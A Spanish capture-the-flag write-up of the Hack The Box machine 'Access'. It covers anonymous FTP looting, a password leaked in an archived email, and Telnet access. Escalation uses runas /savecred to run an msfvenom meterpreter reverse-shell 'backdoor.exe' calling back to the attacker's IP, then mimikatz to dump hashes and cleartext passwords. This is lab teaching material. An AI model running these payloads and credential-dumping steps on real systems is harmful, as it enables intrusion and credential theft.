Durante la fase inicial, se accede a una serie de recursos expuestos en un servidor FTP anĂłnimo, entre los cuales se encuentran respaldos de software de control de acceso fĂsico, correos archivados y bases de datos de tipo Microsoft Access. Estos archivos contienen informaciĂłn crucial para el reconocimiento de credenciales, asĂ como detalles de configuraciĂłn que permiten avanzar hacia una sesiĂłn remota por Telnet con un usuario de bajo privilegio. El análisis de los datos extraĂdos permite además descubrir contraseñas reutilizadas y credenciales almacenadas mediante DPAPI.
-sC → Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.
-sV → Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.
-n → No resuelve nombres de dominio (reduce el tiempo del escaneo).
--open → Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.
-T4 → Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.
-v → Modo verbose → Muestra más detalles sobre el progreso del escaneo.
Resultado:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst:
|_ SYST: Windows_NT
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
EnumeraciĂłn del servicio FTP
Tenemos habilitado la sesiĂłn anonymous en FTP, asĂ que vamos a iniciar el ataque por allĂ:
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# ftp 10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
425 Cannot open data connection.
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 09:16PM <DIR> Backups
08-24-18 10:00PM <DIR> Engineer
226 Transfer complete.
ftp> cd Engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18 01:16AM 10870 Access Control.zip
226 Transfer complete.
ftp> cd ../Backups
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 09:16PM 5652480 backup.mdb
226 Transfer complete.
Encontramos el archivo Access Control.zip en la carpeta Engineer y el backup.mdb (una base de datos de Microsoft Access) en la carpeta Backups. Ahora vamos a descargar estos recursos, pero antes voy a activar el modo binary en FTP, por los siguientes motivos
📌¿Cómo funciona la transferencia de archivos en FTP?
Cuando estamos conectado a un servidor FTP, existen dos modos de transferencia de archivos:
ASCII mode (modo texto): Transfiere archivos como texto plano, adaptándolos al sistema operativo (por ejemplo, cambiando saltos de lĂnea). Es ideal para archivos de texto.
Binary mode (modo binario): Transfiere los datos tal cual, sin hacer ningún cambio en los bytes. Es obligatorio para archivos binarios como bases de datos .mdb, archivos comprimidos .zip, imágenes, ejecutables, etc.
Usa un formato de archivo llamado .mdb (Microsoft Database) en versiones antiguas, y .accdb en las nuevas.
Contiene tablas, consultas, formularios, informes, macros y mĂłdulos.
Permite crear bases de datos relacionales visualmente sin necesidad de escribir SQL complejos.
Los archivos .mdb son bases de datos locales, es decir, el archivo en sĂ contiene todas las tablas y datos.
ftp> binary
200 Type set to I.
ftp> get backup.mdb
local: backup.mdb remote: backup.mdb
200 PORT command successful.
125 Data connection already open; Transfer starting.
100% |************************************************| 5520 KiB 449.69 KiB/s 00:00 ETA
226 Transfer complete.
5652480 bytes received in 00:12 (449.68 KiB/s)
ftp> cd ../Engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18 01:16AM 10870 Access Control.zip
226 Transfer complete.
ftp> get "Access Control.zip"
local: Access Control.zip remote: Access Control.zip
200 PORT command successful.
125 Data connection already open; Transfer starting.
100% |************************************************| 10870 15.26 KiB/s 00:00 ETA
226 Transfer complete.
10870 bytes received in 00:00 (15.25 KiB/s)
Al intentar abrir el Access Control.zip nos va a pedir una contraseña, lo más probable es que esta contraseña se encuentre en algún lugar de la base de datos backup.mdb. Entonces vamos a inspeccionar este elemento con mdb-tools.
De esta forma pudimos encontrar las credenciales para acceder al "Access Control.zip"
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# 7z x "Access Control.zip" -paccess4u@security
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=en_US.UTF-8 Threads:2 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)
Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870
Everything is Ok
Size: 271360
Compressed: 10870
Nota: el parámetro -p debe ir junto con las credenciales (sin espaciado) y el parámetro x (extract with full paths) es para indicarle que conserve las carpetas internas.
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# ls
'Access Control.pst' 'Access Control.zip' backup.mdb mdb_creds.txt
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# file "Access Control.pst"
Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# readpst "Access Control.pst"
Opening PST file and indexes...
Processing Folder "Deleted Items"
"Access Control" - 2 items done, 0 items skipped.
En este caso vamos a obtener un archivo Acces Control.mbox y al leerlo nos vamos a encontrar con un correo donde están filtradas las contraseñas
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# cat "Access Control.mbox"
From "john@megacorp.com" Thu Aug 23 19:44:07 2018
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
Date: Thu, 23 Aug 2018 23:44:07 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="--boundary-LibPST-iamunique-681832900_-_-"
----boundary-LibPST-iamunique-681832900_-_-
Content-Type: multipart/alternative;
boundary="alt---boundary-LibPST-iamunique-681832900_-_-"
--alt---boundary-LibPST-iamunique-681832900_-_-
Content-Type: text/plain; charset="utf-8"
Hi there,
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.
Regards,
John
--alt---boundary-LibPST-iamunique-681832900_-_-
Content-Type: text/html; charset="us-ascii"
<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:m="http://schemas.microsoft.com/office/2004/12/omml" xmlns="http://www.w3.org/TR/REC-html40"><head><meta http-equiv=Content-Type content="text/html; charset=us-ascii"><meta name=Generator content="Microsoft Word 15 (filtered medium)"><style><!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:0 0 0 0 0 0 0 0 0 0;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0in;
margin-bottom:.0001pt;
font-size:11.0pt;
font-family:"Calibri",sans-serif;}
a:link, span.MsoHyperlink
{mso-style-priority:99;
color:#0563C1;
text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
{mso-style-priority:99;
color:#954F72;
text-decoration:underline;}
p.msonormal0, li.msonormal0, div.msonormal0
{mso-style-name:msonormal;
mso-margin-top-alt:auto;
margin-right:0in;
mso-margin-bottom-alt:auto;
margin-left:0in;
font-size:11.0pt;
font-family:"Calibri",sans-serif;}
span.EmailStyle18
{mso-style-type:personal-compose;
font-family:"Calibri",sans-serif;
color:windowtext;}
.MsoChpDefault
{mso-style-type:export-only;
font-size:10.0pt;
font-family:"Calibri",sans-serif;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
{page:WordSection1;}
--></style><!--[if gte mso 9]><xml>
<o:shapedefaults v:ext="edit" spidmax="1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapelayout v:ext="edit">
<o:idmap v:ext="edit" data="1" />
</o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72"><div class=WordSection1><p class=MsoNormal>Hi there,<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Regards,<o:p></o:p></p><p class=MsoNormal>John<o:p></o:p></p></div></body></html>
--alt---boundary-LibPST-iamunique-681832900_-_---
----boundary-LibPST-iamunique-681832900_-_---
Acceso inicial a la máquina
Estas credenciales nos van a servir para conectarnos al puerto 23 (Telnet) con la sesiĂłn del usuario security
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACCES]
└─# telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service
login: security
password: 4Cc3ssC0ntr0ller
*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security> cd ..
C:\Users>dir /a
Volume in drive C has no label.
Volume Serial Number is 8164-DB5F
Directory of C:\Users
08/21/2018 11:31 PM <DIR> .
08/21/2018 11:31 PM <DIR> ..
08/24/2018 12:46 AM <DIR> Administrator
07/14/2009 05:57 AM <DIR> Public
08/23/2018 11:52 PM <DIR> security
0 File(s) 0 bytes
5 Dir(s) 3,350,585,344 bytes free
C:\Users>cd Public
C:\Users\Public>dir /a
Volume in drive C has no label.
Volume Serial Number is 8164-DB5F
Directory of C:\Users\Public
07/14/2009 05:57 AM <DIR> .
07/14/2009 05:57 AM <DIR> ..
08/28/2018 07:51 AM <DIR> Desktop
07/14/2009 05:57 AM 174 desktop.ini
07/14/2009 06:06 AM <DIR> Documents
07/14/2009 05:57 AM <DIR> Downloads
07/14/2009 03:34 AM <DIR> Favorites
07/14/2009 05:57 AM <DIR> Libraries
07/14/2009 05:57 AM <DIR> Music
07/14/2009 05:57 AM <DIR> Pictures
07/14/2009 05:57 AM <DIR> Videos
1 File(s) 174 bytes
10 Dir(s) 3,350,585,344 bytes free
C:\Users\Public>cd Desktop
C:\Users\Public\Desktop>dir /a
Volume in drive C has no label.
Volume Serial Number is 8164-DB5F
Directory of C:\Users\Public\Desktop
08/28/2018 07:51 AM <DIR> .
08/28/2018 07:51 AM <DIR> ..
07/14/2009 05:57 AM 174 desktop.ini
08/22/2018 10:18 PM 1,870 ZKAccess3.5 Security System.lnk
2 File(s) 2,044 bytes
2 Dir(s) 3,350,585,344 bytes free
C:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"
L�F�@ ��7���7���#�P/P�O� �:i�+00�/C:\R1M�:Windows���:�▒M�:*wWindowsV1MV�System32���:�▒MV�*�System32▒X2P�:�
runas.exe���:1��:1�*Yrunas.exe▒L-K��E�C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%�
�wN�▒�]N�D.��Q���`�Xaccess�_���8{E�3
O�j)�H���
)ΰ[�_���8{E�3
O�j)�H���
)ΰ[� ��1SPS��XF�L8C���&�m�e*S-1-5-21-953262931-566350628-63446256-500
En "ip_atacante" ponemos nuestra ip, y en port_listener, el puerto donde recibiremos la reverse shell. Para que la reverse shell funcione tenemos que seguir estos pasos:
Dejar levantado el listener en el puerto que configuramos con nc -lvnp port
En otra shell levantar un servidor con python desde el directorio donde guardamos el payload con python3 -m http.server 80
En la sesiĂłn del usuario security ejecutar este oneliner:
Setear un payload con msfvenom que luego cargaremos en la sesiĂłn del usuario security con python http.server
Configurar el listener en msfconsole para recibir la conexiĂłn del usuario administrator
Ejecutar el payload usando runas para capturar la sesiĂłn del administrador
Una vez que tenemos la reverse shell en meterpreter preparamos el mĂłdulo kiwi (mimikatz) para dumpear todas las credenciales de los usuarios del sistema.
Payload setings:
┌──(root㉿kali)-[/home/…/Documents/HTB/ACCES/kiwi]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=1338 -f exe -o backdoor.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: backdoor.exe
Levantamos un servidor con python para compartir el payload backdoor.exe al equipo windows
creds_all → este comando extrae todas las credenciales disponibles en memoria del proceso lsass. Incluye:
Hashes NTLM (para Pass-the-Hash)
Contraseñas en texto claro (si están en memoria)
Tickets Kerberos
Y más, según los proveedores de autenticación cargados
⚠️ Nota: al principio cuando intento ejecutar el comando creds_all me sale el siguiente mensaje de error [!] Not running as SYSTEM, execution may fail. Esto ocurre porque para acceder completamente a lsass, necesitamos privilegios de NT AUTHORITY\SYSTEM.
getuid → confirmamos que ahora estamos como NT AUTHORITY\SYSTEM, lo cual nos da acceso pleno al sistema.
creds_all (con SYSTEM activo) → ejecutamos creds_all con privilegios elevados, lo que permite que kiwi extraiga toda la información sensible de memoria. Y a continuación nos lista las credenciales:
wdigest credentials → contiene contraseñas en texto claro, si el sistema las almacena con WDigest habilitado (por defecto en Windows ≤ 2012/Win7). Este es el gran hallazgo del CTF, y la respuesta a la pregunta: "What is the administrator's password?"
tspkg credentials → otro proveedor que puede almacenar contraseñas en texto claro o cifradas (menos usado, pero aún relevante). En este caso, duplica lo de wdigest.
kerberos credentials → aquà vemos contraseñas o tickets Kerberos asociados a usuarios activos. Nuevamente, aparecen en texto claro.
[*] Sending stage (203846 bytes) to 10.10.10.98
[*] Meterpreter session 1 opened (10.10.14.7:1338 -> 10.10.10.98:49163) at 2025-05-01 21:20:56 -0400
meterpreter > getuid
Server username: ACCESS\Administrator
meterpreter > shell
Process 1320 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
access\administrator
C:\Windows\system32>exit
exit
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[!] Not running as SYSTEM, execution may fail
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
Administrator ACCESS db852e5a46ea5f5514f639a20daa9e2c 974b219dcf5c05c895c152bbbc1aea6aef
fbe860
security ACCESS b41db16a61cb04b231625de260163015 75f1e3aa023a0f57d4225f3ab4f18f6fea
025414
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
ACCESS$ HTB (null)
Administrator ACCESS 55Acc3ssS3cur1ty@megacorp
security ACCESS 4Cc3ssC0ntr0ller
tspkg credentials
=================
Username Domain Password
-------- ------ --------
Administrator ACCESS 55Acc3ssS3cur1ty@megacorp
security ACCESS 4Cc3ssC0ntr0ller
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator ACCESS 55Acc3ssS3cur1ty@megacorp
access$ HTB (null)
security ACCESS 4Cc3ssC0ntr0ller